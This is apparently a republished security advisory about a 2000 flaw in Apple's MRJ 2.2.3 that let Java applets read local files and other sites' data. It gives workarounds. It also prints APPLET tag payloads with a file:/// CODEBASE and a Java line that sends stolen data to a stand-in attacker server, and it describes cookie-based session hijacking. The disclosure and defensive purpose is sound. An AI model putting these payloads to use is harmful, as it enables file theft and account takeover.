|
Brought to you by:
Suppliers of:
|
|
|
| |
A security hole in MRJ exposes the browsing user to the following damage the moment he or she accidentally or otherwise browses a page intentionally set by a malicious Web site operator:
(1) Arbitrary files in the computer of the browsing user will be stolen.
(2) The browser of the browsing user will be taken over and will be made to access an arbitrary Web site.
(3) Information in Web pages that is disclosed only to the inside of the organization (Intranet) will be stolen.
Specifically what damage they will inflict will be described in "Details of Potential Damage". |
| |
Credit:
The information has been provided by TAKAGI, Hiromitsu.
|
| |
Affected products:
Version 2.2.3 of MRJ (Mac OS Runtime for Java). This has not been confirmed yet, but all older versions may be affected as well. The Web browser for Mac OS, Internet Explorer 4.5 and 5, Netscape 6, iCab and other software all of which use MRJ are affected as well.
"MRJ" is installed in all recent Mac OS as a standard provision and is used in browsing Web pages.
This security hole is found existing in the following combinations:
o Mac OS + MRJ 2.2.3 + Internet Explorer 4.5
o Mac OS + MRJ 2.2.3 + Internet Explorer 5
o Mac OS + MRJ 2.2.3 + Netscape 6
o Mac OS + MRJ 2.2.3 + iCab pre2.2
o Mac OS + MRJ 2.2.3 + Mozilla MRJ Plug-in 1.0b1 + Netscape 4.76
Demonstration:
A demonstration applet is available to verify the existence of this bug:
http://java-house.etl.go.jp/~takagi/java/security/mrj-codebase1/Test.html
Pressing the "Execute" button will output the list of file names in the volume "Macintosh HD" in the TextArea under. (See Fig. 1.)
Pressing "Send this to the server" button will transfer the data in the TextArea to the server. The server is configured to return received data as it is and the data will be displayed on the browser screen. (See Fig. 2.)
WARNING: Do not press the "Send this to the server" button unless you wish data to be transferred.
It has been confirmed that file data will also be read and that connection to any server will be possible even though this demonstration applet reads only file names.
Workaround:
Wait until Apple releases a version of MRJ fixing this bug. Such a version has not been released as of December 14 2000. The latest version of MRJ can be obtained through the following site:
http://www.apple.com/java/
As long as the fixed MRJ cannot be obtained, disable the Java functionality of the Web browser.
For Internet Explorer:
Select "Preferences" in the "Edit" menu. Select "Java" and check off the check box "Enable Java."
For Netscape 6:
Select "Preferences" in the "Edit" menu. Select "Advanced" in "Category" on the left and check off the check box "Enable Java."
For iCab:
Select "Preferences" in the "Edit" menu. Select "Settings / Security" in "Java" and check off the check box "Execute Java applets."
Problem Analysis:
As a security constraint, the Java applet is designed allowing information to be read only from the Web site of the party who originally downloaded the applet program. In Java VM, the site of the original downloading source is displayed in URL as "CODEBASE." In the <APPLET> tag, which is used when pasting the Java applet in a Web page, the original download source of the applet can be designated by the attribute "CODEBASE." For example, when
<APPLET CODE="Test" CODEBASE="http://www.target.example/">
Is written, the applet program will be downloaded from http://www.target.example/Test.class regardless of where HTML written in the tags is located. The applet is restricted to read only the information of "www.target.com."
On the other hand, the <APPLET> tag has the attribute "ARCHIVE," allowing loading Java applet programs which are archived in the JAR file. For example, when
<APPLET CODE="Test" ARCHIVE="Test.jar">
Is written, the "Test.jar" file that is located in the same directory as that of the HTML file will be downloaded.
What will happen if both attributes CODEBASE and ARCHIVE are designated? For example, when
<APPLET CODE="Test"
CODEBASE="http://www.target.example/"
ARCHIVE="http://www.malicious.example/Test.jar">
Are described and if an applet program is downloaded from "www.malicious.example," this applet will be able to read the information of "www.target.example." If this is the case, a security problem will arise.
The CODEBASE attribute must be made to be ignored or the applet must be disabled to start in case these conflicting CODEBASE and ARCHIVE attributes are designated.
In spite of this, MRJ 2.2.3 safely activates the applet and allows reading information of the site designated by the CODEBASE attribute.
By designating "file:///" URL as the CODEBASE attribute, local files too can be read.
<APPLET CODE="Test"
CODEBASE="file:///"
ARCHIVE="http://www.malicious.example/exploit.jar">
Some of the readers will question; the applet can communicate with only the hosts of CODEBASE and cannot send the information to a malicious server even though the applet can read information, which it should not be allowed to read. However, at least, information can be transferred by the following method:
String cgi = "http://www.malicious.example/receive-query.cgi";
getAppletContext().showDocument(new URL(cgi + "?" + URLEncoder.encode(data)));
Details of potential damage:
As mentioned above, damage suffered by Web page browsers by this bug can be classified into the following three groups:
(1) Arbitrary files in the computer of the browsing user will be stolen.
(2) The browser of the browsing user will be taken over and will be made to access an arbitrary Web site.
(3) Information in Web pages that is disclosed only to the inside of the organization (Intranet) will be stolen.
The threat brought about by Problem (1) is obvious and does not have to be explained. The reader is requested to see a document published earlier, "Danger of Security Defect of Any Host Being Accessed" on Problem (3).
http://java-house.etl.go.jp/ml/archive/j-h-b/033470.html
The remaining problem, Problem 2), does not seem to be known fully. As one of the threats brought about by the Brown Orifice security hole reported in August 2000, this problem has already been taken up in BugTraq also. Nevertheless, Microsoft's document MS00-081 fails to mention this threat.
Threat (2) is explained below.
The threat posed by the bug allowing the Java applet accessing any host is not confined to information read out only. If the java.net. URLConnection function supports Cookies, the following threat will occur:
In case browsers of the browsing users are forcibly accessed by sites designated by intentions of malicious Web site setters, such accessing will become accessing based on information (Cookies) unique to the browser and will be deemed as operation by the browsing users themselves.
As a result, the browsing users may be penalized as follows:
- Electronic commerce sites using Cookies with an indefinite time limit will be accessed for authentication of the users themselves and false purchase orders will be issued.
Sites that do not require password input, such as placing orders by clicking only, may be authenticating the users only by a Cookie with an indefinite time limit.
- In case the users are authenticated only by a Cookie, even electronic commerce sites operated by a Cookie that is set with a term of validity may sometimes issue purchase orders without inputting a password because a Cookie within this term of validity is used if they are accessed by sites, which have a mechanism to abuse this security hole, immediately after transaction sites are used.
- Among services which authenticate the users by a Cookie with a set term of validity, those Web mail system services almost certainly have operations of their Web mail systems taken over when they receive mail embedded with a malicious applet. As a result, mail is stolen and is read and false mail is sent by malicious users who disguise as browsing users.
The reason for "almost certainly" is as follows. The moment a browsing user accesses an applet, which is a trap, the browsing user is naturally using the Web mail system and the Cookie for the Web mail system is always within its term of validity so that the Web mail is taken over almost certainly.
|
|
|
|
|
